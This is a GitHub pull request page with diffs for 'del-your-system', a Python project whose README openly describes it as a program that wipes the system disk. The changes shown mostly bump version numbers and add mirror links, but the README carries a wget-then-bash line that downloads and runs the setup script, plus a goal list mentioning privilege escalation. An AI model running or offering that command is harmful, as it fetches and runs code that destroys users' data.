Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

V0.4 #4

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 4 additions & 3 deletions Linux && macOS/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,13 +9,14 @@
邮箱: [email protected]
QQ: 3243756665
Github: https://github.com/SDCOM-0415
cnb.cool:https://cnb.cool/u/SDCOM/
推特: @SDCOM0415
TG群组: https://t.me/SDCOM_HOME
""")

# GitHub项目信息
# 项目信息
print("""项目地址: https://github.com/SDCOM-0415/del-your-system
本次版本更新时间: 2024.8.31-2024.10.1
本次版本更新时间: 2024.10.23-
""")

# 程序说明
Expand All @@ -28,7 +29,7 @@
""")

# 程序版本输出
print("程序版本:0.3 for Linux && macOS")
print("程序版本:0.4 for Linux && macOS")

# 检测操作系统类型
system_type = platform.system()
Expand Down
2 changes: 1 addition & 1 deletion Linux && macOS/setup.sh
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
# 使用lsb_release命令获取发行版本信息
# 如果命令不存在,则使用/etc/os-release文件获取信息

echo "适用于v0.3版本"
echo "适用于v0.4 linux版本"

detect_os() {
if command -v lsb_release >/dev/null 2>&1; then
Expand Down
10 changes: 7 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,10 @@
是我突发奇想然后闲的没逝写的一个python小程序</p>
总之,它很危险,因为那是会把你系统盘清空的一个小程序(Linux会把所有东西都清除掉)</p>
所以有重要资料的同学慎用,运行之前记得备份</p>
gitcode镜像:https://gitcode.com/SDCOM-0415/del-your-system
gitcode镜像:https://gitcode.com/SDCOM-0415/del-your-system</p>
cnb.cool镜像:https://cnb.cool/ChuangYiLLC/Tech/del-your-system/
# 程序实现目标
- [ ] 可执行二进制程序
- [ ] 适用于Windows的可执行二进制程序
- [x] 跨平台可用 ( Windows Linux macOS )
- [x] 针对于 Linux or macOS 操作系统的提权
- [ ] 针对于 Windows 系统的提权
Expand All @@ -17,6 +18,7 @@ gitcode镜像:https://gitcode.com/SDCOM-0415/del-your-system
- [ ] 优化系统读取方案
- [ ] 适用于Windows的batch脚本
- [ ] 适用于macOS的shell(command)脚本
- [ ] 适用于macOS的可执行二进制程序
# 使用方法
1. 安装python的任意版本
2. 根据你的操作系统来选择下载
Expand All @@ -25,9 +27,11 @@ gitcode镜像:https://gitcode.com/SDCOM-0415/del-your-system
# Windows (使用管理员身份运行)
python main.py
# Linux
wget https://raw.githubusercontent.com/SDCOM-0415/del-your-system/refs/heads/main/Linux%20%26%26%20macOS/setup.sh && bash ./setup.sh
wget https://cnb.cool/ChuangYiLLC/Tech/del-your-system/-/git/raw/main/Linux%20%26%26%20macOS/setup.sh && bash ./setup.sh
```
# 版本更新日志
## v0.4
1. cnb.cool镜像:https://cnb.cool/ChuangYiLLC/Tech/del-your-system/
## v0.3
1. 更新Linux shell脚本
2. gitcode镜像:https://gitcode.com/SDCOM-0415/del-your-system
Expand Down
6 changes: 3 additions & 3 deletions Windows/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,14 +9,14 @@
邮箱: [email protected]
QQ: 3243756665
Github: https://github.com/SDCOM-0415
cnb.cool:https://cnb.cool/u/SDCOM/
推特: @SDCOM0415
TG群组: https://t.me/SDCOM_HOME
""")

# GitHub项目信息
print("""Gihub项目地址: https://github.com/SDCOM-0415/del-your-system
Gitcode项目地址: https://gitcode.com/SDCOM-0415/del-your-system
本次版本更新时间: 2024.8.31-2024.10.1
本次版本更新时间: 2024.10.23-
""")

# 程序说明
Expand All @@ -29,7 +29,7 @@
""")

# 程序版本输出
print("程序版本:0.3 for Windows")
print("程序版本:0.4 for Windows")

# 检测操作系统类型
system_type = platform.system()
Expand Down